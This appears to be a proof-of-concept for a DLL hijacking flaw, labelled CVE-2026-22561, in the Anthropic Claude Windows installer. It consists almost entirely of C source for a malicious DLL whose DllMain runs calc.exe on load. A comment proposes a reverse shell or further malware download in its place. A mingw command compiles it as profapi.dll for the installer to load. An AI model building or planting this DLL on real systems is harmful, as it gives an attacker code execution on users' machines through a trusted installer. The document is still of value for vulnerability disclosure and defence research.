CVE-2026-22561 Anthropic Claude Windows安装程序DLL劫持漏洞

#include <windows.h> #include <stdlib.h> // Entry point for the malicious DLL BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Code to run when the DLL is loaded by the installer // Example: Execute calc.exe to demonstrate code execution WinExec("calc.exe", SW_SHOW); // Alternatively, start a reverse shell or download further malware break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } // To compile this PoC: // x86_64-w64-mingw32-gcc -shared -o profapi.dll payload.c